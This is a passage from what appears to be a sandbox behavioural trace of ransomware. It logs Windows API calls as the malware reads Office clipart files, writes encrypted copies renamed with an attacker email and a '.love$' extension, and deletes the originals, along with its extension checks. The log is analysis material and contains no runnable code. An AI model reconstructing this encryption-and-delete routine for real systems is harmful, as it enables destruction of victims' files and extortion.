nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.983] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.983] SetEndOfFile (hFile=0x45c) returned 1 [0243.983] CloseHandle (hObject=0x45c) returned 1 [0243.983] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.983] SetEndOfFile (hFile=0x53c) returned 1 [0243.986] CloseHandle (hObject=0x53c) returned 1 [0243.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0243.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.988] lstrlenW (lpString=".doc") returned 4 [0243.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.988] lstrlenW (lpString=".docx") returned 5 [0243.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.988] lstrlenW (lpString=".pdf") returned 4 [0243.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.988] lstrlenW (lpString=".xls") returned 4 [0243.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.989] lstrlenW (lpString=".xlsx") returned 5 [0243.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.989] lstrlenW (lpString=".ppt") returned 4 [0243.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.989] lstrlenW (lpString=".zip") returned 4 [0243.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.989] lstrlenW (lpString=".rar") returned 4 [0243.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString=".bz2") returned 4 [0243.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString=".7z") returned 3 [0243.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.989] lstrlenW (lpString=".dbf") returned 4 [0243.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.989] lstrlenW (lpString=".1cd") returned 4 [0243.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.989] lstrlenW (lpString=".jpg") returned 4 [0243.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.989] lstrlenW (lpString=".doc") returned 4 [0243.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.989] lstrlenW (lpString=".docx") returned 5 [0243.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.990] lstrlenW (lpString=".pdf") returned 4 [0243.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.990] lstrlenW (lpString=".xls") returned 4 [0243.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.990] lstrlenW (lpString=".xlsx") returned 5 [0243.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.990] lstrlenW (lpString=".ppt") returned 4 [0243.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.990] lstrlenW (lpString=".zip") returned 4 [0243.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.990] lstrlenW (lpString=".rar") returned 4 [0243.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.990] lstrlenW (lpString=".bz2") returned 4 [0243.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.990] lstrlenW (lpString=".7z") returned 3 [0243.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.990] lstrlenW (lpString=".dbf") returned 4 [0243.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.990] lstrlenW (lpString=".1cd") returned 4 [0243.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0243.990] lstrlenW (lpString=".jpg") returned 4 [0243.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.991] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.991] lstrlenW (lpString="DD01186_.WMF") returned 12 [0243.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0243.992] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=8564) returned 1 [0243.992] CloseHandle (hObject=0x53c) returned 1 [0243.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0243.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0243.992] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.992] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0243.993] GetLastError () returned 0x0 [0243.993] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2174, lpOverlapped=0x0) returned 1 [0244.327] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2180, lpOverlapped=0x0) returned 1 [0244.328] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.328] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.328] SetEndOfFile (hFile=0x45c) returned 1 [0244.447] CloseHandle (hObject=0x45c) returned 1 [0244.448] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.448] SetEndOfFile (hFile=0x53c) returned 1 [0244.451] CloseHandle (hObject=0x53c) returned 1 [0244.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0244.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.456] lstrlenW (lpString=".doc") returned 4 [0244.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.456] lstrlenW (lpString=".docx") returned 5 [0244.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.456] lstrlenW (lpString=".pdf") returned 4 [0244.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.456] lstrlenW (lpString=".xls") returned 4 [0244.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.457] lstrlenW (lpString=".xlsx") returned 5 [0244.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.457] lstrlenW (lpString=".ppt") returned 4 [0244.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.457] lstrlenW (lpString=".zip") returned 4 [0244.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.457] lstrlenW (lpString=".rar") returned 4 [0244.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.457] lstrlenW (lpString=".bz2") returned 4 [0244.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.457] lstrlenW (lpString=".7z") returned 3 [0244.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.457] lstrlenW (lpString=".dbf") returned 4 [0244.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.457] lstrlenW (lpString=".1cd") returned 4 [0244.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.457] lstrlenW (lpString=".jpg") returned 4 [0244.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.457] lstrlenW (lpString=".doc") returned 4 [0244.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString=".docx") returned 5 [0244.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.458] lstrlenW (lpString=".pdf") returned 4 [0244.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString=".xls") returned 4 [0244.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.458] lstrlenW (lpString=".xlsx") returned 5 [0244.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.458] lstrlenW (lpString=".ppt") returned 4 [0244.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.458] lstrlenW (lpString=".zip") returned 4 [0244.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.458] lstrlenW (lpString=".rar") returned 4 [0244.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString=".bz2") returned 4 [0244.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString=".7z") returned 3 [0244.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.458] lstrlenW (lpString=".dbf") returned 4 [0244.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.458] lstrlenW (lpString=".1cd") returned 4 [0244.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0244.458] lstrlenW (lpString=".jpg") returned 4 [0244.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.459] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.459] lstrlenW (lpString="DD01631_.WMF") returned 12 [0244.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0244.460] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=552) returned 1 [0244.460] CloseHandle (hObject=0x53c) returned 1 [0244.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0244.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0244.460] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.461] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0244.462] GetLastError () returned 0x0 [0244.462] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x228, lpOverlapped=0x0) returned 1 [0244.463] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x230, lpOverlapped=0x0) returned 1 [0244.464] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.464] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.464] SetEndOfFile (hFile=0x45c) returned 1 [0244.464] CloseHandle (hObject=0x45c) returned 1 [0244.465] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.465] SetEndOfFile (hFile=0x53c) returned 1 [0244.468] CloseHandle (hObject=0x53c) returned 1 [0244.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.470] lstrlenW (lpString=".doc") returned 4 [0244.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString=".docx") returned 5 [0244.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.470] lstrlenW (lpString=".pdf") returned 4 [0244.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString=".xls") returned 4 [0244.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.470] lstrlenW (lpString=".xlsx") returned 5 [0244.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.470] lstrlenW (lpString=".ppt") returned 4 [0244.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.470] lstrlenW (lpString=".zip") returned 4 [0244.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.470] lstrlenW (lpString=".rar") returned 4 [0244.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString=".bz2") returned 4 [0244.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString=".7z") returned 3 [0244.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.470] lstrlenW (lpString=".dbf") returned 4 [0244.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.470] lstrlenW (lpString=".1cd") returned 4 [0244.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.470] lstrlenW (lpString=".jpg") returned 4 [0244.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.471] lstrlenW (lpString=".doc") returned 4 [0244.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString=".docx") returned 5 [0244.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.471] lstrlenW (lpString=".pdf") returned 4 [0244.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString=".xls") returned 4 [0244.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.471] lstrlenW (lpString=".xlsx") returned 5 [0244.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.471] lstrlenW (lpString=".ppt") returned 4 [0244.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.471] lstrlenW (lpString=".zip") returned 4 [0244.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.471] lstrlenW (lpString=".rar") returned 4 [0244.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString=".bz2") returned 4 [0244.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString=".7z") returned 3 [0244.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.471] lstrlenW (lpString=".dbf") returned 4 [0244.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.471] lstrlenW (lpString=".1cd") returned 4 [0244.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0244.471] lstrlenW (lpString=".jpg") returned 4 [0244.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.472] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.472] lstrlenW (lpString="DD01761_.WMF") returned 12 [0244.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0244.473] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4148) returned 1 [0244.473] CloseHandle (hObject=0x53c) returned 1 [0244.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0244.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0244.473] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.473] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0244.474] GetLastError () returned 0x0 [0244.474] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1034, lpOverlapped=0x0) returned 1 [0244.476] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1040, lpOverlapped=0x0) returned 1 [0244.477] ReadFile (in: hFile=0x53c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.477] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.477] SetEndOfFile (hFile=0x45c) returned 1 [0244.477] CloseHandle (hObject=0x45c) returned 1 [0244.477] 